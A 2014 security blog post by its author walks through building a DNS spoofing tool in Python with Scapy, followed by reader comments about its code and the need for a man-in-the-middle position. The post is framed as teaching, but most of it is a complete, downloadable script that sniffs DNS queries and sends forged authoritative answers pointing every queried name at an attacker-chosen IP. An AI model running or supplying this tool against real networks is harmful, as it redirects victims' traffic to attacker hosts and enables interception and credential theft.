Sunday, May 25, 2014

Building your own tools with Scapy & Python - DNS Spoofing


In a discussion about learning packet crafting tools, a colleague stated that he was learning HPing. I said to him, if you were going to learn to craft packets, you should dedicate your time to Scapy. Now before I go forward, I must say, in no way am I a HPing, Scapy or Python expert. My knowledge of these tools is enough to get my task done. I recommended Scapy because of my personal preference and bias.

The Construction Phase
I stated that with Scapy you can easily build your own tools. So I thought, if I say it, I need to show it. Demonstrating by examples, is the best way for any one to learn. Therefore, in this post, we will build a DNS Spoofing tool. Don't get worried by the number of lines. This tool can be built with under 20 lines However, because of the comments and building from a teaching perspective, I've used more lines than I should. So read on and have fun.


  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
#!/usr/bin/env python
# This code is strictly for demonstration purposes. 
# If used in any other way or for any other purposes. In no way am I responsible 
# for your actions or any damage which may occur as a result of its usage
# dnsSpoof.py
# Author: Nik Alleyne - nikalleyne at gmail dot com
# http://securitynik.blogspot.com

from os import uname
from subprocess import call
from sys import argv, exit
from time import ctime, sleep
from scapy.all import *


def osCheck():
    if ( uname()[0].strip() == 'Linux' ) or ( uname()[0].strip() == 'linux ') :
        print(' Current system is Linux ... Good to go!!')
    else:
        print(' Not a Linux system ... Exiting ')
        print(' This script is designed to work on Linux ... if you wish you can modify it for your OS ')
        exit(0)


def usage():
    print(" Usage: ./dnsSpoof <interface> <IP of your DNS Server - this is more likely the IP on this system>")
    print(" e.g. ./dnsSpoof eth0 10.0.0.1")


def main():
    call('clear')
    osCheck()

    if len(argv) != 3 :
        usage()
        exit(0)
   
    while 1:
        # Sniff the network for destination port 53 traffic
        print(' Sniffing for DNS Packet ')
        getDNSPacket = sniff(iface=argv[1], filter="dst port 53", count=1)
        
        # if the sniffed packet is a DNS Query, let's do some work
        if ( getDNSPacket[0].haslayer(DNS) ) and  ( getDNSPacket[0].getlayer(DNS).qr == 0 ) and (getDNSPacket[0].getlayer(DNS).qd.qtype == 1) and ( getDNSPacket[0].getlayer(DNS).qd.qclass== 1 ):
            print('\n Got Query on %s ' %ctime())
             
            # Extract the src IP
            clientSrcIP = getDNSPacket[0].getlayer(IP).src
            
            # Extract UDP or TCP Src port
           # We don't know if this is UDP or TCP, so let's ensure we capture both            if getDNSPacket[0].haslayer(UDP) :
                clientSrcPort = getDNSPacket[0].getlayer(UDP).sport
            elif getDNSPacket[0].haslayer(TCP) :
                clientSrcPort = getDNSPacket[0].getlayer(TCP).sport
            else:
                pass
                # I'm not trying to figure out what you are ... moving on
            
            # Extract DNS Query ID. The Query ID is extremely important, as the response's Query ID must match the request Query ID
            clientDNSQueryID = getDNSPacket[0].getlayer(DNS).id
            
            # Extract the Query Count
            clientDNSQueryDataCount = getDNSPacket[0].getlayer(DNS).qdcount

            # Extract client's current DNS server
            clientDNSServer = getDNSPacket[0].getlayer(IP).dst

            # Extract the DNS Query. Obviously if we will respond to a domain query, we must reply to what was asked for.
            clientDNSQuery = getDNSPacket[0].getlayer(DNS).qd.qname

            print(' Received Src IP:%s, \n Received Src Port: %d \n Received Query ID:%d \n Query Data Count:%d \n Current DNS Server:%s \n DNS Query:%s ' %(clientSrcIP,clientSrcPort,clientDNSQueryID,clientDNSQueryDataCount,clientDNSServer,clientDNSQuery))

            # Now that we have captured the clients request information, let's go ahead and build our spoofed response
            # First let's set the spoofed source, which we will take from the 3rd argument entered at the command line
            spoofedDNSServerIP = argv[2].strip()

            # Now that we have our source IP and we know the client's destination IP. Let's build our IP Header
            spoofedIPPkt = IP(src=spoofedDNSServerIP,dst=clientSrcIP)

            # Now let's move up the IP stack and build our UDP or TCP header
            # We know our source port will be 53. However, our destination port has to match our client's.             
            if getDNSPacket[0].haslayer(UDP) : 
                spoofedUDP_TCPPacket = UDP(sport=53,dport=clientSrcPort)
            elif getDNSPacket[0].haslayer(TCP) : 
                spoofedUDP_TCPPPacket = UDP(sport=53,dport=clientSrcPort)

            # Ok Time for the main course. Let's build out the DNS packet response. This is where the real work is done.
            # This section is where your knowledge of the DNS protocol comes into play. Don't be afraid if you don't know
            # do like I did and revist the RFC :-)
            spoofedDNSPakcet = DNS(id=clientDNSQueryID,qr=1,opcode=getDNSPacket[0].getlayer(DNS).opcode,aa=1,rd=0,ra=0,z=0,rcode=0,qdcount=clientDNSQueryDataCount,ancount=1,nscount=1,arcount=1,qd=DNSQR(qname=clientDNSQuery,qtype=getDNSPacket[0].getlayer(DNS).qd.qtype,qclass=getDNSPacket[0].getlayer(DNS).qd.qclass),an=DNSRR(rrname=clientDNSQuery,rdata=argv[2].strip(),ttl=86400),ns=DNSRR(rrname=clientDNSQuery,type=2,ttl=86400,rdata=argv[2]),ar=DNSRR(rrname=clientDNSQuery,rdata=argv[2].strip()))
            
            # Now that we have built our packet, let's go ahead and send it on its merry way.
            print(' \n Sending spoofed response packet ')
            sendp(Ether()/spoofedIPPkt/spoofedUDP_TCPPacket/spoofedDNSPakcet,iface=argv[1].strip(), count=1)
            print(' Spoofed DNS Server: %s \n src port:%d dest port:%d ' %(spoofedDNSServerIP, 53, clientSrcPort ))

        else:
            pass


if __name__ == '__main__':
    main()



How do we know that this works? Glad you ask. This will be the subject of the next post!


Download dnsSpoof.py Script


Additional Readings:
http://unixwiz.net/techtips/iguide-kaminsky-dns-vuln.html

http://www.secdev.org/projects/scapy/doc/usage.html
http://www.secdev.org/projects/scapy
http://secdev.org/projects/scapy/demo.html
http://www.ietf.org/rfc/rfc1035.txt

8 comments:

  1. Good work!, and very helpful comments.
    Thanks.

    ReplyDelete
  2. Thank you for sharing this post ! Actually I have some questions. Why do you use these two conditions ? if haslayer is TCP, shouldn't you create a TCP packet ? Plus, I did not know it was possible to make DNS requests with TCP, it's good to know.

    if getDNSPacket[0].haslayer(UDP) :
    spoofedUDP_TCPPacket = UDP(sport=53,dport=clientSrcPort)
    elif getDNSPacket[0].haslayer(TCP) :
    spoofedUDP_TCPPPacket = UDP(sport=53,dport=clientSrcPort)

    Concerning the ttl of the DNS part of the responsing packet :
    ttl=86400
    Do you have a particular reason to set its value that high ? Wouldn't 100 be more than enough ?

    Finally I have a a suggestion to one line of your program, if you're interested tell me and I'll do it.

    Again for your post m8 !

    ReplyDelete
  3. Thanks for the comment.
    By using "haslayer" I'm basically validating the layer exist before I attempt to do any work on that layer.

    DNS Uses both TCP and UDP. On a regular day your request will be made over UDP. However if you are doing zone transfers or (previously) if your DNS packet was larger than 512 bytes the communication would be done over TCP.

    As for the TTL this could have been any number. 86400 was used just for demonstration purposes.

    Please feel free to provide the suggestion. However, I really have no plans on working this code again unless I'm doing a major update for something other reason. This post was basically put together for teaching purposes.

    Thanks and I look forward to your suggestion.

    ReplyDelete
  4. Thank you for your answer, and for your additional explanations.

    Instead of using two conditions on this line :
    if ( uname()[0].strip() == 'Linux' ) or ( uname()[0].strip() == 'linux ') :

    you could have used re lib

    if re.search('linux|Linux|Linux OS|...|' , str(uname[0].strip()),re.I) is not None :
    print('Linux OS found')

    Of course, the you did it's perfectly fine, but if you want for example to look for several different strings 8 or 9 or even more in the same main string, it's better to use re.

    Cheers m8 !

    ReplyDelete
    Replies
    1. That's a good one! How but we make it even more interesting? We could also look at the "platform" module doing something like "if platform.system() == 'Linux':" :-)

      https://docs.python.org/2/library/platform.html

      Thanks for the tip and keep reading.

      Delete
  5. Does this require MITM status?

    ReplyDelete
    Replies
    1. Daniel,
      That's correct! You have to be in the path of the communication. Use a MITM tool to help you achieve that.

      Delete